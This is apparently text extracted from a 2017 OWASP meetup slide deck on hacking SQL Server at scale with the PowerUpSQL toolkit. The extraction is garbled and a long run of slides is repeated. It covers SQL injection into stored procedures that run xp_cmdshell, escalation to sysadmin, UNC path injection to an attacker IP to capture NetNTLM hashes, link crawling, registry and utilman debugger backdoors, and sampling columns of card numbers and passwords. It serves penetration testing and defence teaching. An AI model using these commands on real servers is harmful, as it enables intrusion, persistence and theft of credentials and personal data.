Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 45: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

